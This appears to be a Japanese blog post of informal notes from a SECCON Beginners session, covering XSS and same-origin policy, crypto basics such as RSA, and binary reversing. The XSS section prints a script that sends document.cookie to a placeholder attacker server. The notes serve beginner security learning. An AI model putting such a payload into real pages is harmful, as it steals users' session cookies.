TIL : SECCON Beginnersで学んだ雑なメモ

2019/09/07(Sat) - 11:00

Web Lectureについて

学ぶこと

  • XSSとはなにか
  • XSSの悪用方法

SOP(Same Origin Policy)

  • “オリジン” に基づき、アクセス可能なリソースに制約を設ける
    • オリジンとはhttp://2018.seccon.jp:80「プロコトル.ドメイン.ポート」の組み合わせのURLのこと。

XSS (Cross Site Scripting)

  • ブラウザ上で任意のJavaScriptが実行できる脆弱性。
  • XSSはサーバーに対して直接攻撃するわけではなく、ユーザーに対して罠を仕掛けるイメージ
  • 流れとしては、
    • あとでかく

反射型XSS

  • サーバーサイド側でタグのエスケープを行っていない場合、tagがそのまま認識されてしまう。ただし、永続的ではなく一時的なもの。
  • たとえば、Cookieを奪って攻撃者のサーバーに送信するなど
<script>
document.location=“http://<攻撃者のサーバ>/?” + encodeURIComponent(document.cookie); 
</script>

console.log(document.cookie)

DOMの操作により。xhrを使って送信したりDOMから取得した情報を文字列としてGETクエリに載せて、別オリジンのサイトに送信することが可能。

Cryptoについて

暗号の種類

  • 古典暗号 => 換字式暗号、転置式暗号
  • 共通鍵暗号 => AES、DES、RC4
  • 公開鍵暗号 => RSA、ElGameal、Rabin、Paillier、DSA(署名)
  • その他

用語

  • 平文 (plaintext) : 暗号化してない普通のデータ
  • 暗号文 (ciphertext) : 暗号化後のデータのこと
  • 復号(decrypt => 対:encrypt) : 「復号化」ではない

公開鍵暗号とは

  • 暗号化と復号に使う鍵を別にして暗号鍵を公開する暗号
    • 誰でも暗号化できるが復号できるのは秘密鍵を持った人だけ。
    • 暗号の素材として数学的な計算困難性を用いたものが多い
    • 理論上は解くことができるが、コンピューターでも解くのが難しい
      • つまりは「数学」である
    • 多くの公開鍵暗号では、剰余(mod )を使って構成されている

暗号の作成

暗号を数学的な計算を用いて作成する

  • 剰余、除算、逆元での解を求める説明・演習。
  • 逆元に関してはユークリッドの互除法 というものがあるので、それを拡張利用して求める模様。

RSAの鍵を計算により自力で生成して、暗号化・復号化を行ったりする

(ここらへんで、なにもわからない…俺たちは雰囲気でry という気分になった)

Binaryについて

バイナリとは

  • コンピュータにおけるデータの表し方で0と1で表現される
  • ASCIIコード
    • 文字は文字コードとして表現され、ASCIIコードが最も活用される
    • 英数字、ラテン文字、数字が割り当てられる
      • ‘A’=0x41, ‘a’=0x61, ‘{’=0x7b

リバーシングとは

  • 実行ファイルを解析して処理を調べること
    • 実行ファイルとは「機械語」を格納したファイル
    • 実行するとCPUが機械語を動かす
      • 機械語とはCPUが唯一理解できる言語で、
  • 種類としては、下記の三種類がある
    • 動的解析
    • 静的解析
    • 表層解析

(ここらへんで、なにもわからない…俺たちは雰囲気でry という気分になった)

カテゴリ

タグ